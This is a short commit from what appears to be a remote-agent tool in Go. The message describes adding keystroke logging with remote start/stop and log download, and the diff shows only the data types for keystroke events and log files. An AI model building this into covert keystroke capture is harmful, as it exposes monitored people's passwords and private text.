Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

lib/keylog/event.go

@@ -0,0 +1,16 @@
+package keylog
+
+import "time"
+
+type Event struct {
+	Time     time.Time
+	Injected bool
+	Window   string
+	Text     string
+}
+
+type FileInfo struct {
+	Name         string    `json:"name"`
+	Size         int64     `json:"size"`
+	ModifiedTime time.Time `json:"modified_time"`
+}